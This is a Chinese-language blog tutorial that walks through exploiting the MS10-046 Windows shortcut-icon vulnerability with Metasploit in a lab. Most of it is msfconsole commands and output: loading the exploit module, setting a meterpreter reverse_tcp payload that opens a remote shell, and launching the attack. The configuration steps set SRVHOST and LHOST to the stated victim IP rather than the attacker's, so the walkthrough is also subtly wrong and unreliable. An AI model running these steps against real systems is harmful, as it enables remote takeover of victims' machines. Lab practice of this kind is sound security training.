kali攻防第11章 攻击实例讲解-ms10_046快捷方式图标漏洞

攻击实例讲解-ms10_046快捷方式图标漏洞

 

准备工具

1、kali系统 IP:10.10.10.131

2、受害者机子 IP:10.10.10.129

3、使用工具 msfconsole

 

步骤:

1、进入控制台

root@kali:~# msfconsole 

                                                  

  +-------------------------------------------------------+

  |  METASPLOIT by Rapid7                                 |

  +---------------------------+---------------------------+

  |      __________________   |                           |

  |  ==c(______(o(______(_()  | |""""""""""""|======[***  |

  |             )=\           | |  EXPLOIT   \            |

  |            // \\          | |_____________\_______    |

  |           //   \\         | |==[msf >]============\   |

  |          //     \\        | |______________________\  |

  |         // RECON \\       | \(@)(@)(@)(@)(@)(@)(@)/   |

  |        //         \\      |  *********************    |

  +---------------------------+---------------------------+

  |      o O o                |        \'\/\/\/'/         |

  |              o O          |         )======(          |

  |                 o         |       .'  LOOT  '.        |

  | |^^^^^^^^^^^^^^|l___      |      /    _||__   \       |

  | |    PAYLOAD     |""\___, |     /    (_||_     \      |

  | |________________|__|)__| |    |     __||_)     |     |

  | |(@)(@)"""**|(@)(@)**|(@) |    "       ||       "     |

  |  = = = = = = = = = = = =  |     '--------------'      |

  +---------------------------+---------------------------+

 

 

Taking notes in notepad? Have Metasploit Pro track & report

your progress and findings -- learn more on http://rapid7.com/metasploit

 

       =[ metasploit v4.11.5-2015103001                   ]

+ -- --=[ 1500 exploits - 864 auxiliary - 251 post        ]

+ -- --=[ 432 payloads - 37 encoders - 8 nops             ]

+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

2、载入windows模块中的漏洞图标工具

msf > use exploit/windows/browser/ms10_046_shortcut_icon_dllloader 

msf exploit(ms10_046_shortcut_icon_dllloader) >

3、需要配置的参数

msf exploit(ms10_046_shortcut_icon_dllloader) > show options

 

Module options (exploit/windows/browser/ms10_046_shortcut_icon_dllloader):

 

   Name     Current Setting  Required  Description

   ----     ---------------  --------  -----------

   SRVHOST  0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0

   SRVPORT  80               yes       The daemon port to listen on (do not change)

   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)

   UNCHOST                   no        The host portion of the UNC path to provide to clients (ex: 1.2.3.4).

   URIPATH  /                yes       The URI to use (do not change).

 

 

Exploit target:

 

   Id  Name

   --  ----

   0   Automatic

 

msf exploit(ms10_046_shortcut_icon_dllloader) > set SRVHOST 10.10.10.129

SRVHOST => 10.10.10.129

 

4、返回信息

msf exploit(ms10_046_shortcut_icon_dllloader) > set PAYLOAD windows/meterpreter/reverse_tcp

PAYLOAD => windows/meterpreter/reverse_tcp

 

msf exploit(ms10_046_shortcut_icon_dllloader) > show options    ---查看配置信息

 

Module options (exploit/windows/browser/ms10_046_shortcut_icon_dllloader):

 

   Name     Current Setting  Required  Description

   ----     ---------------  --------  -----------

   SRVHOST  10.10.10.129     yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0

   SRVPORT  80               yes       The daemon port to listen on (do not change)

   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)

   UNCHOST                   no        The host portion of the UNC path to provide to clients (ex: 1.2.3.4).

   URIPATH  /                yes       The URI to use (do not change).

 

 

Payload options (windows/meterpreter/reverse_tcp):

 

   Name      Current Setting  Required  Description

   ----      ---------------  --------  -----------

   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)

   LHOST                      yes       The listen address

   LPORT     4444             yes       The listen port

 

 

Exploit target:

 

   Id  Name

   --  ----

   0   Automatic

 

msf exploit(ms10_046_shortcut_icon_dllloader) > set LHOST 10.10.10.129

LHOST => 10.10.10.129

 

5、执行攻击

msf exploit(ms10_046_shortcut_icon_dllloader) > exploit 

 

 

 

 

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

随行之旅

python国产化自动化

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值